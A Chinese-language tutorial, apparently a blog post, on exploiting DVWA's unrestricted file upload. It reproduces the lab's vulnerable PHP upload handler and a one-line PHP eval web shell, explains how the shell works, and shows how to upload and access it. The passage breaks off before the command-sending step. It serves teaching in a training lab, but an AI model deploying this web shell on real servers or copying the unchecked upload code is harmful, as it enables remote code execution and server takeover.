網絡安全：文件上傳 + 一句話木馬原理 + 菜刀的簡單使用

很多的網站提供了文件上傳功能，雖然提供了方便的服務，但稍有疏忽，就可能釀成大禍。

這裏的疏忽是指，不對用戶上傳的內容進行檢查。

仍舊以DVWA爲例：

網站的本意是接受用戶的圖片（image），但後臺代碼卻並沒有對文件進行檢測：

網頁源碼（部分截圖）：

php處理源碼：

文本也貼出來：

File Upload Source
vulnerabilities/upload/source/low.php
<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?>

我們可以看到，target_path只是獲得了文件應該存放的路徑。之後的步驟，並未對文件進行任何的檢測處理，而直接進行move_uploaded_file()，將文件上傳。

換句話說，你的文件不是圖片都莫得問題。

試一下，我們上傳個php一句話。許多小夥伴可能聽說過“一句話木馬”這個名詞，也見過一句話木馬怎麼寫，但是就不知道爲什麼起作用。別急，我們簡單一聊就通了。沒聽說過的小夥伴也不用擔心，注重聽原理。

新建個txt，編輯：

<?php
    @eval($_REQUEST["shell"]);
?>

保存後修改擴展名爲.php。（我這裏起名爲shell）

進行上傳：

然後我們會發現successfully upload。上傳成功！竟然還給出了路徑。路徑中的“..”指上一目錄。

shell.php被上傳到了根目錄下hackable/uploads/shell.php。

我們直接通過修改url對其進行訪問：

你會發現網頁什麼都沒有顯示，但是並沒有報錯。這說明文件確實存在，只是無顯示內容。

一句話木馬如何使用？

<?php
@eval($_REQUEST['shell']);
?>

重點在@eval($_REQUEST['shell'])的理解。

首先是一個@符號，其實這個東西對我們來說可有可無，這個符號的作用是抵制錯誤提示。

爲什麼要抵制錯誤提示呢？這裏先要了解eval（）函數的功能。eval將接收一個字符串參數，並將這個字符串作爲命令語句執行。

如：

<?php

    echo "hello";
    eval('echo "hello"');

?>

這兩句的功能是相同的，因爲eval接收的是個字符串，那這個字符串就有可能不是正確的命令。這樣一來直接執行就會報錯，爲了不顯示報錯信息，前面加上了@符號。

@一般是創建網站的人才會使用，旨在不讓用戶從報錯信息中獲得服務器的相關信息。而我們對一句話進行利用時，有時還是需要報錯信息來告訴我們，哪裏輸錯了。

最後看eval中的參數：$_REQUEST['shell']，request是請求，最常用的請求方式有兩種GET和POST（不瞭解的，前面很多文章裏都有談到，STW也可以。【我就不加F了】）。而$_REQUEST就是從請求參數中得到“shell”這個參數的值（當然這個參數名你可以隨便起，反正是你來利用。）。

如果是$_GET["shell"]，就是從get請求的參數中找shell參數。而$_POST["shell"]，則是從post請求中尋找shell參數。$_REQUEST包含get和post，兩者皆可。

到這裏，一句話的功能應該就已經清晰了，即從get或post請求參數中，將shell參數的值，作爲命令語句執行。

如何利用呢？

爲了方便，我們就不抓包（截獲報文）了。直接通過get方式向文件發送參數：